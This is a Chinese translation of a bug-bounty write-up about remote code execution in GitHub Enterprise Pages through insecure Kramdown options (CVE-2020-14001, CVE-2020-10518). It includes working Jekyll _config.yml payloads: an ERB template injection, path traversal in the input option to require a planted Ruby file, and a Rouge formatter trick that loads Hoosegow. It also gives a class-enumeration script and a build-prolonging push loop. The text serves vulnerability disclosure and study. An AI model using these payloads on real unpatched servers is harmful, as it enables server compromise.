赏金$25000的GitHub漏洞:通过 GitHub Pages 不安全的Kramdown配置实现多个RCE

  • A+
所属分类:安全文章
赏金000的GitHub漏洞:通过 GitHub Pages 不安全的Kramdown配置实现多个RCE

0x01 开篇

我一直在关注GitHub企业版的发布说明,主要关注补丁的bug修复。这次,我发现补丁发布对Kramdown中的一个问题进行了关键修复。

赏金000的GitHub漏洞:通过 GitHub Pages 不安全的Kramdown配置实现多个RCE
CVE-2020-14001的描述很好地总结了漏洞详情以及如何利用:
Ruby 2.3.0版本之前的kramdown gem默认执行Kramdown文档中的模板配置,允许任意的读取访问(比如template=”/etc/passwd)或任意嵌入Ruby代码执行(比如以template=”string://<%= `“开头的字符串)。注意:kramdown在Jekyll、GitLab Pages、GitHub Pages和Thredded Forum中使用。
kramdown的模板选项接受任何文件路径,如果是以string://开头,则会被用作模板内容。由于模板是ERB,这就允许执行任意ruby代码。
为了测试这个问题,我创建了一个新的Jekyll站点,并在_config.yaml中添加了以下内容:
markdown: kramdownkramdown:  template: string://<%= %x|date| %>
在启动并加载页面后,确实执行了自定义的ERB:
<div class="home">Tue 20 Oct 2020 21:12:08 AEDT<h2 class="post-list-heading">Posts</h2>
 

0x02 漏洞发现

我开始寻找Jekyll和Kramdown允许的其他选项,以及它们是否有可能被利用。GitHub Pages使用1.17.0版本的Kramdown,所以我查看了该版本的Kramdown::Options模块,发现simple_hash_validator使用YAML.load,这将有可能通过反序列化来创建任意的ruby对象:
def self.simple_hash_validator(val, name)  if String === val    begin      val = YAML.load(val)
随着这个思路我用syntax_highlighter_opts选项来处理,但是在尝试了几个payload之后,我发现pages_jekyll 会加载safe_yaml,防止YAML.load的反序列化。
几个小时过后,我发现了一个有趣的选项,它在执行creating a new Kramdown::Document时使用,并且还有注释:
Create a new Kramdown document from the string +source+ and use the provided +options+. The# options that can be used are defined in the Options module.## The special options key :input can be used to select the parser that should parse the# +source+. It has to be the name of a class in the Kramdown::Parser module. For example, to# select the kramdown parser, one would set the :input key to +Kramdown+. If this key is not# set, it defaults to +Kramdown+.## The +source+ is immediately parsed by the selected parser so that the root element is# immediately available and the output can be generated.def initialize(source, options = {})  @options = Options.merge(options).freeze  parser = (@options[:input] || 'kramdown').to_s  parser = parser[0..0].upcase + parser[1..-1]  try_require('parser', parser)  if Parser.const_defined?(parser)    @root, @warnings = Parser.const_get(parser).parse(source, @options)  else    raise Kramdown::Error.new("kramdown has no parser to handle the specified input format: #{@options[:input]}")  end  end
所以,当存在:input选项时,会将第一个字母做成大写,然后传给 try_require,类型设置为 parser
# Try requiring a parser or converter class and don't raise an error if the file is not found.def try_require(type, name)  require("kramdown/#{type}/#{Utils.snake_case(name)}")  truerescue LoadError  trueend
由于snake_case的执行只关心字符串,忽略其他的,这意味着有可能存在目录遍历,导致require加载一个不在预定路径上的文件。
我创建了一个内容为system("echo hi > /tmp/ggg")的文件/tmp/evil.rb,然后用下面的_config.yml启动jekyll:
markdown: kramdownkramdown:  input: ../../../../../../../../../../../../../../../tmp/evil.rb
Jekyll 构建失败并报错jekyll 3.8.5 | Error: wrong constant name ../../../../../../../../../../../../../../../tmp/evil.rb, 但查看/tmp/ 里的内容,发现ruby代码被成功执行:
$ cat /tmp/ggghi
 

0x03 漏洞利用

我在GHE服务器上创建了一个页面仓库,添加了/tmp/evil.rb,同样成功得到执行。接下来要做的就是想办法把ruby文件放到一个已知的位置,并作为payload使用。我使用perf-toolsopensnoop工具,在github构建jekyll页面站点时观察路径,发现以下目录:
/data/user/tmp/pages/page-build-23481/data/user/tmp/pages/pagebuilds/vakzz/jekyll1
第一个是输入目录,第二个是输出目录,但这两个目录都在进程结束后很快被删除,并复制到一个哈希加密的位置。由于输出目录只基于用户和仓库名,结构相对简单,只需要想办法让它比正常情况下持续的时间更久即可。
我使用dd if=/dev/zero of=file.out bs=1000000 count=100创建了五个 100mb 的文件code.rb并将它们作为payload添加到 jekyll 站点,然后通过while true; do git add -A . && git commit --amend -m aa && git push -f; done创建循环。再次观察/data/user/tmp/pages/pagebuilds/vakzz/jekyll1目录,发现它存在的时间变长了。
接着创建一个新的站点,并包含一个恶意的input,指向jeykll构建的第一个文件夹:
markdown: kramdownkramdown:  input: ../../../../../../../../../../../../../../../data/user/tmp/pages/pagebuilds/vakzz/jeykll1/code.rb
然后把那个仓库也设置成循环的推送和构建。大约一分钟后,文件出现了!
$ ls -asl /tmp/ | grep ggg4 -rw-r--r--  1 pages             pages                3 Aug 19 13:58 ggg4
我写好漏洞报告,将其发送给GitHub,报告以惊人的速度进行了分流(30分钟内)。几个小时后,我收到回复,说他们正在努力强化Kramdown选项,并询问是否知道还有其他应该被限制的选项。
唯一看起来有点可疑的选项是formatter_class (作为syntax_highlighter_opts的一部分设置),但它只允许字母数字,然后用:Rouge::Formatters.const_get进行查询:
def self.formatter_class(opts = {})  case formatter = opts[:formatter]  when Class    formatter  when /A[[:upper:]][[:alnum:]_]*z/    ::Rouge::Formatters.const_get(formatter
当时我认为这是安全的,但还是把它同simple_hash_validator 一起进行了提交。
第二天晚上,我研究了一下::Rouge::Formatters.const_get的实际工作原理。结果发现,它并不像我原来想的那样,把常量限制在::Rouge::Formatters上,而是可以返回任何定义过的常量或类。虽然正则仍然有限制(不允许使用::),但仍然可以用来返回类。一旦找到了常量,它就会被用来创建一个新的实例,然后调用format方法:
formatter = formatter_class(opts).new(opts)formatter.format(lexer.lex(text))
为了测试这一点,我用如下的_config.yml,然后建立网站:
kramdown:  syntax_highlighter: rouge  syntax_highlighter_opts:    formatter: CSV
虽然报了错,但错误信息显示CVS类已经被创建了!
jekyll 3.8.5 | Error:  private method 'format' called for #<CSV:0x00007fe0d195bd48>
我在报告中添加了一个评论,表明formatter选项肯定应该被限制,我会继续研究它是否可被利用。
现在,我能够创建一个顶级的ruby对象,它的初始化器取单一的哈希值,而且我们对哈希值的内容有相当大的控制权。我花了一点时间在google和ruby中测试如何获得一个常量列表,然后得出了下面的脚本:
require "bundler"Bundler.require
methods = []ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /A[[:upper:]][[:alnum:]_]*z/ }
methods.each do |m| begin puts "trying #{m[:ob]}" m[:ob].new({a:1, b:2}) puts "workednn" rescue ArgumentError puts "nopenn" rescue NoMethodError puts "nopenn" rescue => e p e puts "maybenn" endend
该脚本基本上能找到所有符合正则的常量,并尝试使用哈希创建一个新的实例。我登录到GHE服务器,进入页面目录并运行脚本。只有部分显示worked或者maybe,大部分显示StandardError
我盯着类的列表,看看初始化器中发生了什么,一开始没有找到有趣的东西,直到看到这个:
trying Hoosegow#<Hoosegow::InmateImportError: inmate file doesn't exist>maybe
这里看起来很有希望成为切入点! Hoosegow initialize method的初始化方法如下:
def initialize(options = {})    options         = options.dup    @no_proxy       = options.delete(:no_proxy)    @inmate_dir     = options.delete(:inmate_dir) || '/hoosegow/inmate'    @image_name     = options.delete(:image_name)    @ruby_version   = options.delete(:ruby_version) || RUBY_VERSION    @docker_options = options    load_inmate_methods
load_inmate_methods 方法如下:
def load_inmate_methods    inmate_file = File.join @inmate_dir, 'inmate.rb'
unless File.exist?(inmate_file) raise Hoosegow::InmateImportError, "inmate file doesn't exist" end
require inmate_file
这真是太完美了! 由于可以在options哈希中添加任何东西,这将允许传递我们自己的inmate_dir目录,然后需要做的就是在那里等待一个恶意的 inmate.rb文件。
按照之前相同的过程,我编辑了_config.yml,内容如下:
kramdown:  syntax_highlighter: rouge  syntax_highlighter_opts:    formatter: Hoosegow    inmate_dir: /tmp/
然后在GHE服务器上成功创建了带有payload的/tmp/inmate.rb文件,并被推送到jekyll网站。几秒钟后,该文件被获取,payload也成功得到执行!
赏金000的GitHub漏洞:通过 GitHub Pages 不安全的Kramdown配置实现多个RCE
最终,这个被命名为CVE-2020-10518的漏洞得到了修复,我也获得了$25000的赏金。

译文声明

译文仅供参考,具体内容表达以及含义原文为准。

赏金000的GitHub漏洞:通过 GitHub Pages 不安全的Kramdown配置实现多个RCE

赏金000的GitHub漏洞:通过 GitHub Pages 不安全的Kramdown配置实现多个RCE


戳“阅读原文”查看更多内容

本文始发于微信公众号(安全客):赏金$25000的GitHub漏洞:通过 GitHub Pages 不安全的Kramdown配置实现多个RCE

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: